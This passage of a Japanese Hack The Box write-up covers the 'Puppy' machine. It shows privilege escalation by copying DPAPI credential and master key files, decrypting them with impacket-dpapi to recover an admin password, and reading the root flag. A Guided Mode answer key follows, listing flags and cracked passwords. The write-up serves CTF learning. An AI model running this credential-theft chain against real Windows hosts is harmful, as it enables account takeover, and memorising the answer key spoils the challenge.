Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>
【参考】winPEASを用いたサーバの調査
(1) 攻撃対象のマシン(Puppy)上のprogramdata配下のフォルダ/ファイル一覧を確認する。
※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ cd /programdata
$ dir
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 2/19/2025 11:33 AM Microsoft
d----- 7/24/2025 12:24 PM Package Cache
d----- 2/23/2025 2:32 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 5/8/2021 2:36 AM ssh
d----- 2/19/2025 3:41 AM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 4/4/2025 3:40 PM VMware
(2) Kali Linux上のwinPEASx64.exeを作業用ディレクトリにコピーする。
※Kali Linux上で以下のコマンドを実行する。
$ cp /usr/share/peass/winpeas/winPEASx64.exe ./
(3) winPEASx64.exeファイルを攻撃対象のマシン(Puppy)上にアップロードする。
※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ upload winPEASx64.exe
(4) winPEASx64.exeを実行し攻撃対象のマシン(Puppy)上の情報を確認する。
※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ ./winPEASx64.exe
DPAPI(Data Protection API)の認証情報取得
(1) Windows資格情報が格納されたファイルを確認すると、
「C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D」というファイルがあることが分かる。
※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ Get-ChildItem C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials -Force
Directory: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 8:14 AM 11068 DFBE70A7E5CC19A398EBF1B96859CE5D
(2) Windows資格情報が格納されたファイルを確認すると、
「C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9」ファイルがあることが分かる。
※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ Get-ChildItem C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials -Force
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
(3) Windowsの保護に関連するデータファイルを確認すると、
「C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107」というマスターキーファイルがあることが分かる。
※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ Get-ChildItem C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\ -Force
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 2/23/2025 2:36 PM S-1-5-21-1487982659-1829050783-2281216199-1107
-a-hs- 3/8/2025 7:40 AM 24 CREDHIST
-a-hs- 3/8/2025 7:40 AM 76 SYNCHIST
(4) Windows資格情報が格納されたファイルをダウンロードする。
※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ copy \Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D cred1
$ copy \Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 cred2
$ attrib -s -h cred1
$ attrib -s -h cred2
$ download cred1
$ download cred2
(5) マスターキーファイルをダウンロードするためにファイルをコピーする。
※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ cd /programdata
$ mv 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407' '556a2412-1275-4ccf-b721e6a0b4f90407'
$ gci . -force
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hsl 2/19/2025 11:32 AM Application Data
d--hsl 2/19/2025 11:32 AM Desktop
d--hsl 2/19/2025 11:32 AM Documents
d---s- 2/19/2025 11:33 AM Microsoft
d----- 7/24/2025 12:24 PM Package Cache
d----- 2/23/2025 2:32 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 5/8/2021 2:36 AM ssh
d--hsl 2/19/2025 11:32 AM Start Menu
d--hsl 2/19/2025 11:32 AM Templates
d----- 2/19/2025 3:41 AM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 4/4/2025 3:40 PM VMware
-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721e6a0b4f90407
--rhs- 5/14/2025 9:53 AM 6616 ntuser.pol
(6) マスターキーファイルをダウンロードする。
※steph.cooperユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ attrib -s -h 556a2412-1275-4ccf-b721e6a0b4f90407
$ download 556a2412-1275-4ccf-b721e6a0b4f90407
(7) impacket-dpapiを用いてマスターキーを復号化すると、復号キーが「0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84」であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
(8) impacket-dpapiを用いてWindows資格情報ファイルを復号化すると、steph.cooper_admユーザーのパスワードが「FivethChipOnItsWay2025!」であることが分かる。
$ impacket-dpapi credential -file cred2 -key "0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84"
【出力結果】
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!Evil-WinRMを用いたsteph.cooper_admユーザー権限奪取
(1) steph.cooper_admユーザーの認証情報を用いてEvil-WinRMを実行すると、steph.cooper_admユーザーのプロンプトが表示される。
$ evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
(2) 現在ログインしているユーザー情報を確認すると、steph.cooper_admユーザーであることが分かる。
※steph.cooper_admユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ whoami
puppy\steph.cooper_adm
(3) C:\Users\Administrator\Desktop配下のフォルダ/ファイルを確認すると、特権ユーザー用のフラグファイル(root.txt)があることが分かる。
※steph.cooper_admユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ dir C:\Users\Administrator\Desktop
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/19/2025 3:29 AM 34 root.txt
(4) 特権ユーザー用のフラグファイルの内容を確認する。
※steph.cooper_admユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。
$ type C:\Users\Administrator\Desktop\root.txt
8bdcabfcbc1543ffacb0313c9c9ae8c4[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many SMB shares are available on the remote system?
問題(日本語訳):リモート システムで使用できる SMB 共有はいくつありますか?
答え:6
・Task 2
問題(英語訳):Which group is levi.james a member of?
問題(日本語訳):levi.james はどのグループのメンバーですか?
答え:HR
・Task 3
問題(英語訳):In Bloodhound's terminology, which interesting permission does the HR group hold over the Developers group?
問題(日本語訳):Bloodhound の用語では、HR グループが開発者グループに対して持つ興味深い権限は何ですか?
答え:GenericWrite
・Task 4
問題(英語訳):After adding levi.james to the Developers group, which previously inaccessible share can we read?
問題(日本語訳):levi.james を開発者グループに追加した後、以前はアクセスできなかった共有はどれを読み取ることができますか?
答え:DEV
・Task 5
問題(英語訳):Which of the available files on the share is a KeePass database?
問題(日本語訳):共有上の利用可能なファイルのうち、どれが KeePass データベースですか?
答え:recovery.kdbx
・Task 6
問題(英語訳):After cracking the KeePass database's hash, what is the password found to be?
問題(日本語訳):KeePass データベースのハッシュを解読した後、パスワードは何であることがわかりますか?
答え:liverpool
・Task 7
問題(英語訳):Which user does one of the passwords in the KeePass database belong to?
問題(日本語訳):KeePass データベース内のパスワードの 1 つはどのユーザーのものですか?
答え:ant.edwards
・Task 8
問題(英語訳):In bloodhound's terminology, which permission does ant.edwards have over adam.silver's account?
問題(日本語訳):Bloodhound の用語では、ant.edwards は adam.silver のアカウントに対してどのような権限を持っているのでしょうか?
答え:GenericAll
・Submit User Flag
問題(英語訳):Submit the flag located on the adam.silver user's desktop.
問題(日本語訳):adam.silver ユーザーのデスクトップにあるフラグを送信します。
答え:95c3c3eb10da03884ba121d24a1b7d61
※「C:\Users\adam.silver\Desktop\user.txt」の内容。
・Task 10
問題(英語訳):What password can we retrieve from the website backup in C:\Backups?
問題(日本語訳):C:\Backups にあるウェブサイトのバックアップから取得できるパスワードは何ですか?
答え:ChefSteph2025!
・Task 11
問題(英語訳):What is the steph.cooper_adm account's password?
問題(日本語訳):steph.cooper_adm アカウントのパスワードは何ですか?
答え:FivethChipOnItsWay2025!
・Submit Root Flag
問題(英語訳):Submit the flag located on the administrator user's desktop.
問題(日本語訳):管理者ユーザーのデスクトップにあるフラグを送信します。
答え:8bdcabfcbc1543ffacb0313c9c9ae8c4
※「C:\Users\Administrator\Desktop\root.txt」の内容。
関連記事(Hack The Box)
※後日作成予定。

